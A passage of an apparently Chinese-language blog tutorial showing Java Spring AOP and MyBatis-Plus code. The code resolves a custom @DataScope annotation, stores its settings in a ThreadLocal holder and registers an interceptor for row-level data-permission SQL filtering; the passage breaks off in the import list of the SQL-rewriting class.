ds</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">computeDatasource</span><span class="params">(Method method, Object targetObject)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!Modifier.isPublic(method.getModifiers())) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//1. 从当前方法接口中获取</span></span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsAttr</span> <span class="operator">=</span> findDataSourceAttribute(method);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        Class&lt;?&gt; targetClass = targetObject.getClass();</span><br><span class="line">        Class&lt;?&gt; userClass = ClassUtils.getUserClass(targetClass);</span><br><span class="line">        <span class="comment">// JDK代理时,  获取实现类的方法声明.  method: 接口的方法, specificMethod: 实现类方法</span></span><br><span class="line">        <span class="type">Method</span> <span class="variable">specificMethod</span> <span class="operator">=</span> ClassUtils.getMostSpecificMethod(method, userClass);</span><br><span class="line"></span><br><span class="line">        specificMethod = BridgeMethodResolver.findBridgedMethod(specificMethod);</span><br><span class="line">        <span class="comment">//2. 从桥接方法查找</span></span><br><span class="line">        dsAttr = findDataSourceAttribute(specificMethod);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 从当前方法声明的类查找</span></span><br><span class="line">        dsAttr = findDataSourceAttribute(userClass);</span><br><span class="line">        <span class="keyword">if</span> (dsAttr != <span class="literal">null</span> &amp;&amp; ClassUtils.isUserLevelMethod(method)) &#123;</span><br><span class="line">            <span class="keyword">return</span> dsAttr;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//since 3.4.1 从接口查找，只取第一个找到的</span></span><br><span class="line">        <span class="keyword">for</span> (Class&lt;?&gt; interfaceClazz : ClassUtils.getAllInterfacesForClassAsSet(userClass)) &#123;</span><br><span class="line">            dsAttr = findDataSourceAttribute(interfaceClazz);</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 如果存在桥接方法</span></span><br><span class="line">        <span class="keyword">if</span> (specificMethod != method) &#123;</span><br><span class="line">            <span class="comment">// 从桥接方法查找</span></span><br><span class="line">            dsAttr = findDataSourceAttribute(method);</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 从桥接方法声明的类查找</span></span><br><span class="line">            dsAttr = findDataSourceAttribute(method.getDeclaringClass());</span><br><span class="line">            <span class="keyword">if</span> (dsAttr != <span class="literal">null</span> &amp;&amp; ClassUtils.isUserLevelMethod(method)) &#123;</span><br><span class="line">                <span class="keyword">return</span> dsAttr;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> getDefaultDataSourceAttr(targetObject);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 默认的获取</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> DataScopeParam</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">getDefaultDataSourceAttr</span><span class="params">(Object targetObject)</span> &#123;</span><br><span class="line">        Class&lt;?&gt; targetClass = targetObject.getClass();</span><br><span class="line">        <span class="comment">// 如果不是代理类, 从当前类开始, 不断的找父类的声明</span></span><br><span class="line">        <span class="keyword">if</span> (!Proxy.isProxyClass(targetClass)) &#123;</span><br><span class="line">            Class&lt;?&gt; currentClass = targetClass;</span><br><span class="line">            <span class="keyword">while</span> (currentClass != Object.class) &#123;</span><br><span class="line">                <span class="type">DataScopeParam</span> <span class="variable">datasourceAttr</span> <span class="operator">=</span> findDataSourceAttribute(currentClass);</span><br><span class="line">                <span class="keyword">if</span> (datasourceAttr != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> datasourceAttr;</span><br><span class="line">                &#125;</span><br><span class="line">                currentClass = currentClass.getSuperclass();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 通过 AnnotatedElement 查找标记的注解, 映射为  DatasourceHolder</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ae AnnotatedElement</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 数据源映射持有者</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> DataScopeParam <span class="title function_">findDataSourceAttribute</span><span class="params">(AnnotatedElement ae)</span> &#123;</span><br><span class="line">        <span class="type">AnnotationAttributes</span> <span class="variable">attributes</span> <span class="operator">=</span> AnnotatedElementUtils.getMergedAnnotationAttributes(ae, DataScope.class);</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsp</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">if</span> (attributes != <span class="literal">null</span>) &#123;</span><br><span class="line">            dsp = <span class="keyword">new</span> <span class="title class_">DataScopeParam</span>(attributes.getString(<span class="string">&quot;unitField&quot;</span>), <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;(), attributes.getBoolean(<span class="string">&quot;filterData&quot;</span>), Convert.toList(String.class, attributes.get(<span class="string">&quot;ignoreTables&quot;</span>)));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> dsp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="处理自定义切面">处理自定义切面</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationAdvisor</span> <span class="keyword">extends</span> <span class="title class_">AbstractPointcutAdvisor</span> <span class="keyword">implements</span> <span class="title class_">BeanFactoryAware</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Advice advice;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Pointcut pointcut;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotation;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationAdvisor</span><span class="params">(<span class="meta">@NonNull</span> MethodInterceptor advice,</span></span><br><span class="line"><span class="params">                                      <span class="meta">@NonNull</span> Class&lt;? extends Annotation&gt; annotation)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.advice = advice;</span><br><span class="line">        <span class="built_in">this</span>.annotation = annotation;</span><br><span class="line">        <span class="built_in">this</span>.pointcut = buildPointcut();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Pointcut <span class="title function_">getPointcut</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.pointcut;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Advice <span class="title function_">getAdvice</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.advice;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setBeanFactory</span><span class="params">(BeanFactory beanFactory)</span> <span class="keyword">throws</span> BeansException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.advice <span class="keyword">instanceof</span> BeanFactoryAware) &#123;</span><br><span class="line">            ((BeanFactoryAware) <span class="built_in">this</span>.advice).setBeanFactory(beanFactory);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> Pointcut <span class="title function_">buildPointcut</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Pointcut</span> <span class="variable">cpc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AnnotationMatchingPointcut</span>(annotation, <span class="literal">true</span>);</span><br><span class="line">        <span class="type">Pointcut</span> <span class="variable">mpc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AnnotationMethodPoint</span>(annotation);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ComposablePointcut</span>(cpc).union(mpc);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * In order to be compatible with the spring lower than 5.0</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">AnnotationMethodPoint</span> <span class="keyword">implements</span> <span class="title class_">Pointcut</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotationType;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">AnnotationMethodPoint</span><span class="params">(Class&lt;? extends Annotation&gt; annotationType)</span> &#123;</span><br><span class="line">            Assert.notNull(annotationType, <span class="string">&quot;Annotation type must not be null&quot;</span>);</span><br><span class="line">            <span class="built_in">this</span>.annotationType = annotationType;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> ClassFilter <span class="title function_">getClassFilter</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> ClassFilter.TRUE;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> MethodMatcher <span class="title function_">getMethodMatcher</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AnnotationMethodMatcher</span>(annotationType);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">AnnotationMethodMatcher</span> <span class="keyword">extends</span> <span class="title class_">StaticMethodMatcher</span> &#123;</span><br><span class="line">            <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? <span class="keyword">extends</span> <span class="title class_">Annotation</span>&gt; annotationType;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">public</span> <span class="title function_">AnnotationMethodMatcher</span><span class="params">(Class&lt;? extends Annotation&gt; annotationType)</span> &#123;</span><br><span class="line">                <span class="built_in">this</span>.annotationType = annotationType;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">matches</span><span class="params">(Method method, Class&lt;?&gt; targetClass)</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (matchesMethod(method)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// Proxy classes never have annotations on their redeclared methods.</span></span><br><span class="line">                <span class="keyword">if</span> (Proxy.isProxyClass(targetClass)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// The method may be on an interface, so let&#x27;s check on the target class as well.</span></span><br><span class="line">                <span class="type">Method</span> <span class="variable">specificMethod</span> <span class="operator">=</span> AopUtils.getMostSpecificMethod(method, targetClass);</span><br><span class="line">                <span class="keyword">return</span> (specificMethod != method &amp;&amp; matchesMethod(specificMethod));</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">matchesMethod</span><span class="params">(Method method)</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> AnnotatedElementUtils.hasAnnotation(method, <span class="built_in">this</span>.annotationType);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="添加DataScopeParamContentHolder用户储存需要过滤数据的配置信息">添加<code>DataScopeParamContentHolder</code>用户储存需要过滤数据的配置信息</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.ttl.TransmittableThreadLocal;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">DataScopeParamContentHolder</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="title function_">DataScopeParamContentHolder</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;DataScopeParam&gt; THREAD_PMS_HOLDER = <span class="keyword">new</span> <span class="title class_">TransmittableThreadLocal</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置当前header中的权限</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> dataScopeParam 需要过滤的权限</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(DataScopeParam dataScopeParam)</span> &#123;</span><br><span class="line">        THREAD_PMS_HOLDER.set(dataScopeParam);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取header中的权限</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 权限</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> DataScopeParam <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> THREAD_PMS_HOLDER.get();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">clear</span><span class="params">()</span> &#123;</span><br><span class="line">        THREAD_PMS_HOLDER.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="添加拦截器DataScopeAnnotationIntercept用于拦截方法级别的注解，处理添加了上方自定义注解的方法-缓存自定义注解中的配置">添加拦截器<code>DataScopeAnnotationIntercept</code>用于拦截方法级别的注解，处理添加了上方自定义注解的方法,缓存自定义注解中的配置</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationIntercept</span> <span class="keyword">implements</span> <span class="title class_">MethodInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> DataScopeAnnotationClassResolver dataScopeAnnotationClassResolver;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationIntercept</span><span class="params">()</span> &#123;</span><br><span class="line">        dataScopeAnnotationClassResolver = <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationClassResolver</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(<span class="meta">@NotNull</span> MethodInvocation methodInvocation)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">paramKey</span> <span class="operator">=</span> dataScopeAnnotationClassResolver.findKey(methodInvocation.getMethod(), methodInvocation.getThis());</span><br><span class="line">        DataScopeParamContentHolder.set(paramKey);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> methodInvocation.proceed();</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            DataScopeParamContentHolder.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="添加配置将上述内容注册进去">添加配置将上述内容注册进去</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeInitConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> Advisor <span class="title function_">generateAllDataScopeAdvisor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">DataScopeAnnotationIntercept</span> <span class="variable">intercept</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationIntercept</span>();</span><br><span class="line">        <span class="type">DataScopeAnnotationAdvisor</span> <span class="variable">advisor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataScopeAnnotationAdvisor</span>(intercept, DataScope.class);</span><br><span class="line">        advisor.setOrder(Ordered.HIGHEST_PRECEDENCE);</span><br><span class="line">        <span class="keyword">return</span> advisor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="最后根据配置内容信息对应的处理sql，这个类是关键，前面所有内容都是为他服务，如果只是想简单点写死代码直接使用该类就可以了">最后根据配置内容信息对应的处理sql，这个类是关键，前面所有内容都是为他服务，如果只是想简单点写死代码直接使用该类就可以了</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.datascope;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.exception.UnauthorizedException;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.vo.SysUser;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.collection.CollUtil;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.ReflectUtil;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.StrUtil;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.StringPool;</span><br><span class="line"><span class="keyword">import</span> lombok.SneakyThrows;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.JSQLParserException;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserManager;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserUtil;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.PlainSelect;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.Select;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SelectBody;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SetOperationList;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.update.Update;</span><br><span 